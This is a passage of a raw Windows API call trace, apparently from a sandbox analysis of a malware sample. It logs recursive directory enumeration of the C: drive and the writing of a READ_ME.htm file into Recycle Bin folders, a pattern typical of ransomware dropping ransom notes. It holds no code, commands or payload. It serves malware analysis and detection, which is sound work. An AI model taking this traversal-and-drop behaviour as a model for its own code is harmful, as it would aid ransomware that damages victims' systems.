dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0130.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0130.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0130.276] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0130.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x7098ee60, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0130.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0130.277] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x70ee9fe0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0130.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0130.278] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda4f37b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda4f37b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0130.279] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0130.279] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0130.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0130.280] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0130.281] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0130.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda6966d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda6966d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0130.282] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d500 | out: lpFindFileData=0x21d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda6966d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xda6966d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0130.283] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.283] SetErrorMode (uMode=0x0) returned 0x1 [0130.365] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0130.366] SetErrorMode (uMode=0x1) returned 0x0 [0130.366] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*" (normalized: "c:\\$recycle.bin\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0130.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0130.367] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.367] SetErrorMode (uMode=0x0) returned 0x1 [0130.367] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin", lpFilePart=0x0) returned 0xf [0130.368] SetErrorMode (uMode=0x1) returned 0x0 [0130.368] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*" (normalized: "c:\\$recycle.bin\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0130.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-4219442223-4223814209-3835049652-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0130.369] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.369] SetErrorMode (uMode=0x0) returned 0x1 [0130.369] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000", lpFilePart=0x0) returned 0x3e [0130.369] SetErrorMode (uMode=0x1) returned 0x0 [0130.370] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0130.371] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0130.372] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.372] SetErrorMode (uMode=0x0) returned 0x1 [0130.372] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000", lpFilePart=0x0) returned 0x3e [0130.372] SetErrorMode (uMode=0x1) returned 0x0 [0130.373] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0130.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0130.373] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0130.374] SetErrorMode (uMode=0x0) returned 0x1 [0130.545] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0130.546] SetErrorMode (uMode=0x1) returned 0x0 [0130.548] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\READ_ME.htm" (normalized: "c:\\$recycle.bin\\s-1-5-21-4219442223-4223814209-3835049652-1000\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.551] GetFileType (hFile=0x1bc) returned 0x1 [0130.551] SetErrorMode (uMode=0x0) returned 0x1 [0130.551] GetFileType (hFile=0x1bc) returned 0x1 [0130.565] WriteFile (in: hFile=0x1bc, lpBuffer=0x284aae0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x284aae0*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0130.570] CloseHandle (hObject=0x1bc) returned 1 [0130.572] GetFullPathNameW (in: lpFileName="C:\\$Recycle.Bin\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d130, lpFilePart=0x0 | out: lpBuffer="C:\\$Recycle.Bin\\READ_ME.htm", lpFilePart=0x0) returned 0x1b [0130.572] SetErrorMode (uMode=0x1) returned 0x0 [0130.573] CreateFileW (lpFileName="C:\\$Recycle.Bin\\READ_ME.htm" (normalized: "c:\\$recycle.bin\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1bc [0130.573] GetFileType (hFile=0x1bc) returned 0x1 [0130.573] SetErrorMode (uMode=0x0) returned 0x1 [0130.574] GetFileType (hFile=0x1bc) returned 0x1 [0130.574] WriteFile (in: hFile=0x1bc, lpBuffer=0x284f010*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d698, lpOverlapped=0x0 | out: lpBuffer=0x284f010*, lpNumberOfBytesWritten=0x21d698*=0x720, lpOverlapped=0x0) returned 1 [0130.577] CloseHandle (hObject=0x1bc) returned 1 [0130.578] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x21d290, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0130.578] SetErrorMode (uMode=0x1) returned 0x0 [0130.578] FindFirstFileW (in: lpFileName="C:\\Boot\\*" (normalized: "c:\\boot\\*"), lpFindFileData=0x21d430 | out: lpFindFileData=0x21d430*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0130.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8a67a2e0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0xc6c87030, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0130.579] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xc6c3ad70, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0130.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0130.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0130.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0130.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d440 | out: lpFindFileData=0x21d440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, 